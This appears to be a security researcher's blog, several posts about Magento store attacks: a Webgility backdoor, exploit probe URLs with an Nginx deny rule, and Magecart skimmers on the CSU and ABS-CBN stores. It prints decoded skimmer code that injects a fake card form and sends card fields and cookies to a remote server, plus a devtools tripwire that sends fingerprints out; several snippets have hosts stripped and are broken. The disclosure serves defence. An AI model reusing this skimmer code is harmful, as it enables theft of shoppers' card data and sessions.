Backdoor found in Webgility

Update Nov 23rd: Webgility has released a patch and a public statement, urging all customers to upgrade to version 345.

Update Nov 30th: Webgility has discovered another security issue and urges all customers to upgrade to version 346.

When an accounting software firm proclaims to do epic shit, you know they are up to no good. The VC-funded Webgility software contains a backdoor for the purpose of remote upgrades. As a side effect, this allows anyone to upload PHP code and do all kinds of naughty stuff. Curiously, the Webgility engineering team denies the existence of the backdoor, even when confronted with a functional proof of concept and a demonstration video.

Because of the severity, I recommend Webgility customers to restrict access to trusted IPs or temporarily remove the software until there is a fix.

The backdoor was discovered by Eric Seastrand as part of a PCI code audit. He reported the security flaw on Oct 16th to Webgility, together with an extensive explanation, sample code and a demo video. Then, he got this odd response:

Our engineers further reviewed your E-mail and we would like to inform you that, this file can’t execute automatically or through a Web Browser […] we request you kindly do not test or trial anything in Webgility module folder

Eric answered patiently and explained once again how the unauthorized update mechanism poses a serious security threat. Webgility thanked him for the suggestion and closed the ticket without further ado.

I also gave it a couple of tries to explain the situation, but they would have none of it.

Just to be sure: I have validated Eric’s proof of concept exploit code on my live store. Because of the intense efforts that criminals are undertaking to find vulnerabilities in 3rd party ecommerce software, it won’t be long before this flaw will be massively exploited to turn the thousands of Webgility customers into card skimming zombie stores.

Hopefully this post will get Webgility to release a fixed version. If not, better to stay far from its software.

Thanks to Eric and the fine people at Hypernode, you can now use Magereport to check whether your store runs a vulnerable Webgility.

Multiple 0days used by Magecart

Online credit card theft has been all over the news: criminals inject hidden card stealers on legitimate checkout pages. But how are they are able to inject anything in the first place? As it turns out, thieves are massively exploiting unpublished security flaws (aka 0days) in popular store extension software.

While the extensions differ, the attack method is the same: PHP Object Injection (POI). This attack vector abuses PHP’s unserialize() function to inject their own PHP code into the site. With that, they are able to modify the database or any Javascript files. As of today, many popular PHP applications still use unserialize(). Magento replaced most of the vulnerable functions by json_decode() in patch 8788, but many of its popular extensions did not.

It appears that attackers have amassed a large number of extensions and found numerous POI vulnerabilities. And they are now probing Magento stores in the wild for these extensions. I collected the following probes. If you are running any of them, you’d better disable them quickly and search your logs for unauthorized activity.

POST /index.php/madecache/varnish/esi/
POST /index.php/freegift/cart/gurlgift/
POST /index.php/qquoteadv/download/downloadCustomOption/
POST /index.php/ajaxproducts/index/index/
POST /index.php/minifilterproducts/index/ajax/
POST /index.php/advancedreports/chart/tunnel/
POST /index.php/bssreorderproduct/list/add/
POST /index.php/rewards/notifications/unsubscribe/
POST /index.php/emaildirect/abandoned/restore/
POST /index.php/vendors/withdraw/review/
POST /index.php/vendors/credit_withdraw/review/
POST /index.php/gwishlist/Gwishlist/updategwishlist/
POST /index.php/rewards/customer/notifications/unsubscribe/
POST /index.php/aheadmetrics/auth/index/
POST /index.php/customgrid/index/index/
POST /index.php/customgrid/Blcg/Column/Renderer/index/index/
POST /index.php/tabshome/index/ajax/
POST /index.php/customgrid/Blcg_Column_Renderer_index/index/
POST /index.php/rewards/customer_notifications/unsubscribe/
POST /index.php/vendors/credit/withdraw/review/
POST /index.php/multidealpro/index/edit/
POST /index.php/layaway/view/add/
POST /index.php/simplebundle/Cart/add/
POST /index.php/CustomGrid/index/index/
POST /index.php/netgocust/Gwishlist/updategwishlist/
POST /index.php/prescription/Prescription/amendQuoteItemQty/
POST /index.php/ajax/Showroom/submit/

The payload for all of these POSTs is a specially crafted Zend_Log object that contains rogue code. Max Chadwick wrote a nice summary of this vulnerability class.

Fixing this mess

Now, I contacted several authors (kudo’s to Webcooking for being the first to fix their code within hours!), but I cannot derive the original author from all of these URLs. So my request to you: do you recognize any extension in these URLs? Please contact the author and keep me posted (email/twitter DM), I will update the status below. Together we can get all of these extensions fixed quickly.

rewards/*TBT_Rewardsfixed in
simplebundleWebcooking_SimpleBundlereported and fixed in 1.6.9link
ajaxproducts/indexEM_AjaxProductsfixed in 1.0.0link
qquoteadv/downloadCart2Quotefixed in 5.4.5link
advancedreports/chartAW_AdvancedReportsreported, fix announcedlink
aheadmetrics/authAW_AheadMetricsreported, abandonedlink
bssreorderproduct/listBSS_ReorderProductfixed in 1.2.4link
emaildirect/abandonedCampaignerfixed in 1.1.6link
*/GwishlistmageGwhishlistreported, not fixedlink
madecache/varnishMade_Cachereported and fixedlink

Modus operandi

Some more info on this group’s modus operandi. Once any of the probes above is successful, a malicious actor will come back and insert a customized Javascript payment overlay for the specific site. This works for sites that have external payments, or no credit card payments at all, because a fake credit card payment section is inserted. Once a user enters his CC details and clicks submit, the fake credit card form disappears and the unsuspecting (?) user will likely try again. The fake form will not show a second time, because a cookie is set to prevent that.

fake cc form fake cc form

Under the hood it currently uses a two step payment exfiltration method. First, a jQuery call is made to one of these (the first one has been taken down already):

Up to now, they have returned various CC drop servers in the domain, such as:

As Ngrok takes these down quickly (as I predicted earlier), they use this mechanism to easily switch drop servers.

How to block all probes

As suggested by Sean H, you could hard block specific requests to these modules in Nginx. Their functionality will probably break though:

 location ~* ^/index.php/(madecache|freegift|qquoteadv|ajaxproducts|minifilterproducts|advancedreports|bssreorderproduct|rewards|gwishlist|aheadmetrics|customgrid|tabshome|vendors|multidealpro|layaway|simplebundle|netgocust|prescription|ajax/Showroom)/.* { deny all; }

Header image credits: Maxpixel

CSU store hacked right before election

The store of German political party CSU contains an identity skimmer that was planted on or before Oct 5th, right before the Bavarian election on Oct 14th. Personal identifyable information of customers gets sent to a remote server during the checkout process.

Because the CSU shop uses an off-site payment provider (Amazon & Paypal), no credit cards are stolen. However, session cookies and other private data are actively intercepted. The attackers likely used an unpatched flaw in the store software, or used brute force to guess a staff password. A quick MageReport scan yields:

The German coalition party is not the only one affected. I have been monitoring global stores for some time and counted the 40,000th compromised shop last week. The modus operandi is commonly known as “Magecart” and has hit high profile targets such as British Airways, Ticketmaster and ABS-CBN.

Here is the proof that the identity stealer is active and working.

The obfuscated malware is found at the bottom of This file was last modified on Fri, 05 Oct 2018 14:45:47 GMT, suggesting the malware is in place since at least 9 days. It fetches a dynamic payload drop server from, at the moment it will return but the malware authors anticipate that they will have to change this, as Ngrok (free proxy for developers) will likely shut them down soon. The decoded malware reads:

var form = `<style>#checkout-payment-method-load dt.ppp input {display:block;}</style><li><label for=\"payment:cc_number\"><em>*</em>Credit Card Number</label><div class=\"input-box\"><input type=\"text\" id=\"payment:cc_number\" name=\"payment[cc_number]\" title=\"Credit Card Number\" class=\"input-text validate-cc-number\" value=\"\" autocomplete=\"off\"></div></li><li><label for=\"billing:expiration_date\"><em>*</em>Expiration Date</label><div class=\"input-box\"><div class=\"v-fix\"><select id=\"payment:cc_exp_month\" name=\"payment[cc_exp_month]\" class=\"month validate-cc-exp\" autocomplete=\"off\"><option value=\"\" selected=\"selected\">Month</option><option value=\"1\">01</option><option value=\"2\">02</option><option value=\"3\">03</option><option value=\"4\">04</option><option value=\"5\">05</option><option value=\"6\">06</option><option value=\"7\">07</option><option value=\"8\">08</option><option value=\"9\">09</option><option value=\"10\">10</option><option value=\"11\">11</option><option value=\"12\">12</option></select></div><div class=\"v-fix\"><select id=\"payment:cc_exp_year\" name=\"payment[cc_exp_year]\" class=\"year\" autocomplete=\"off\"><option value=\"\" selected=\"selected\">Year</option><option value=\"2018\">2018</option><option value=\"2019\">2019</option><option value=\"2020\">2020</option><option value=\"2021\">2021</option><option value=\"2022\">2022</option><option value=\"2023\">2023</option><option value=\"2024\">2024</option><option value=\"2025\">2025</option><option value=\"2026\">2026</option><option value=\"2027\">2027</option><option value=\"2028\">2028</option><option value=\"2029\">2029</option></select></div></div></li><li><label for=\"payment:cc_cid\"><em>*</em>Card Verification Number</label><div class=\"input-box\"><div class=\"v-fix\"><input  type=\"text\" title=\"Card Verification Number\" class=\"input-text cvv validate-cc-cvn\" id=\"cc_cidcvv\" name=\"payment[cc_cid]\" value=\"\" autocomplete=\"off\"></div></div></li>`;
var statusrr = 0;

function PayN(text) {
    jQuery.get("//", function(record) {
        if (text == 1) {
            jQuery("*[name^=\"billing\"]").each(function() {
                if (billing[] == "" || billing[] == "undefined" || typeof billing[] === "undefined") billing[] = this.value
                url: atob(record),
                type: "POST",
                data: "billing=" + encodeURIComponent(btoa(JSON.stringify(billing))) + "&target=" + + "&valid=" + encodeURIComponent(document.cookie)
        if (text == 2) {
            jQuery("*[name^=\"payment\"]").each(function() {
                payment[] = this.value
                url: atob(record),
                type: "POST",
                data: "payment=" + encodeURIComponent(btoa(JSON.stringify(payment))) + "&target=" + + "&valid=" + encodeURIComponent(document.cookie)
            statusrr = 1;
            jQuery("#checkout-payment-method-load .iways_paypalplus_payment:first").html(" ");
            jQuery("#checkout-payment-method-load .iways_paypalplus_payment:eq(1)").attr("style", "opacity:1;			");
            jQuery("#checkout-payment-method-load .iways_paypalplus_payment:first").attr("style", "display:none;			")
jQuery(document).ready(function() {
    if (!(document.cookie.indexOf("userpayid") + 1)) {
        var rand = function() {
            return Math.random().toString(36).substr(2)
        document.cookie = "userpayid=" + rand()
    jQuery("*[onclick^=\"\"]").attr("onclick", "PayN(1);;	");
    jQuery("*[onclick^=\"\"]").attr("onclick", "PayN(2);;	");
    jQuery("#checkout-payment-method-load .iways_paypalplus_payment:first").html(form);
    jQuery("#checkout-payment-method-load .iways_paypalplus_payment:eq(1)").attr("style", "opacity:0;	");
    jQuery("#checkout-payment-method-load .iways_paypalplus_payment:first").attr("style", "display:block;	");
jQuery("html").click(function() {
    if (!jQuery('*').is('#cc_cidcvv') && statusrr == 0) {
        jQuery("#checkout-payment-method-load .iways_paypalplus_payment:first").html(form);
        jQuery("#checkout-payment-method-load .iways_paypalplus_payment:eq(1)").attr("style", "opacity:0;		");
        jQuery("#checkout-payment-method-load .iways_paypalplus_payment:first").attr("style", "display:block;		");
    if (statusrr == 1) {
        jQuery("#checkout-payment-method-load .iways_paypalplus_payment:first").html(" ");
        jQuery("#checkout-payment-method-load .iways_paypalplus_payment:eq(1)").attr("style", "opacity:1;		");
        jQuery("#checkout-payment-method-load .iways_paypalplus_payment:first").attr("style", "display:none;		")

MageCart: now with tripwire


Back in 2016, Magecart skimmers would evade detection by sleeping if any developer tools were found running. Then, their malware would 404 without correct Referer or User-Agent header. And now, Magecart sounds the alarm when it finds you snooping around, and collects a fingerprint of you on an external server.


Ramifications: the Magecart authors now likely have a list of IPs of interested parties, and may use those in future evasion techniques.

The obfuscated tripwire is attached to a (dummy) copy of jQuery-Mask that is served on non-checkout pages. Here’s a reverse engineered copy:

// Disable script logging
var noop = function () { };
console.log = noop;
console.warn = noop;
console.debug = noop; = noop;
console.error = noop;
console.exception = noop;
console.trace = noop;
'use strict';
var devToolStatus = {
    'open': false,
    'orientation': null
var minBorderPx = 160;
var changeDevTools = function (a, b) {
    window.dispatchEvent(new CustomEvent('devtoolschange', {
        'detail': {
            'open': a,
            'orientation': b
setInterval(function () {
    // Check every 0.5sec whether devtools are open
    var fatWidth = window.outerWidth - window.innerWidth > minBorderPx;
    var fatHeight = window.outerHeight - window.innerHeight > minBorderPx;
    var detectedOrientation = fatWidth ? 'vertical' : 'horizontal';
    if (!(fatHeight && fatWidth) && (window.Firebug && && || fatWidth || fatHeight)) {
        // Devtools are open
        if (! || devToolStatus.orientation !== detectedOrientation) {
            changeDevTools(true, detectedOrientation);
        } = true;
        devToolStatus.orientation = detectedOrientation;
    } else {
        if ( {
            changeDevTools(false, null);
        } = false;
        devToolStatus.orientation = null;
}, 500);

// Running in nodejs? Then export
if (typeof module !== 'undefined' && module.exports) {
    module.exports = devToolStatus;
} else {
    window.devtools = devToolStatus;
var detectedUA = new MobileDetect(window.navigator.userAgent);
var isMobile = false;
if ( {
    isMobile = true;
var debuggerIsRunning = false;
if (window.navigator.userAgent.indexOf('Mac OS X') > 0) {
    var before = new Date().getTime();
    var afterBreakpoint = new Date().getTime();
    if (afterBreakpoint - before > 100) {
        debuggerIsRunning = true;
window.addEventListener('devtoolschange', function (g) {
    if ( && !isMobile && debuggerIsRunning) {
        var scheme = window.location.protocol != 'https:' ? 'http://' : 'https://';
        var host = '';
        var url = scheme + host + '/tools.php';
        var xhr = new XMLHttpRequest();
        var e = 'timezone=' + Intl.DateTimeFormat().resolvedOptions().timeZone
            + '&&systemTime=' + new Date().toLocaleString() + '&&'
            + 'appVersion=' + window.navigator.appVersion
            + '&&useragent=' + navigator.userAgent + '&&'
            + 'availHeight=' + window.screen.availHeight + '&&'
            + 'innerWidth=' + window.innerWidth + '&&'
            + 'innerHeight=' + window.innerHeight + '&&'
            + 'availWidth=' + window.screen.availWidth + '&&'
            + 'jWidth=' + (window.jQuery !== undefined ? jQuery(window).width() : 0x0) + '&&'
            + 'jHeight=' + (window.jQuery !== undefined ? jQuery(window).height() : 0x0) + '&&'
            + 'referer=' + document.referrer + '&&'
            + 'request=' + document.location.pathname + '&&'
            + 'host=' +;
        var f = 'params=' + btoa(e);'POST', url, true);
        xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
        xhr.withCredentials = true;

The fingerprint receivers are hosted on and, a dodgy network spanning NL/IE/RU/UA. According to VirusTotal, the following hostnames resolve there, which have been added to the Magento Malware Scanner list of IOCs.

(image credits for this post)

ABS-CBN next in series of high profile breaches

ABS-CBN main building

While Filipinos are recovering from typhoon Mangkhut, another misfortune awaits them online. I found their broadcasting giant ABS-CBN − a $740 million conglomerate & top-500 global Internet destination − to be hacked. Criminals are running a payment skimmer on ABS-CBNs online store since at least August 16th. Personal information and credit cards are intercepted while people shop for merchandise for one of the 90+ television shows. The stolen data is sent onwards to a server registered in Irkutsk, Russia. The credit cards and identities are then (presumably) sold on the black market.

ABS-CBN is the latest target in a series of high profile skimming operations. Previously, British Airways and Ticketmaster admitted massive credit card theft of their customers. The methodology found at these crime scenes is the same: browser-based interception during the checkout process. This method is quickly gaining popularity because it defeats the security of encrypted connections (https/SSL).

Filipinos are recommended to carefully check their credit card statements for unauthorized payments.

I have notified ABS-CBN of the breach, but have not received a response.

Technical details

I discovered the fraud campaign when I implemented new heuristics for my malware detection system this week. The (obfuscated) malware is located at ( This specific file has not been modified since four weeks, suggesting the malware was injected on or before August 16th.

$ curl -v
< Last-Modified: Thu, 16 Aug 2018 06:24:34 GMT

The malware sends its stolen data to a payment collection server called

This server is on the same Russian network as, a different malware campaign that I found earlier this week: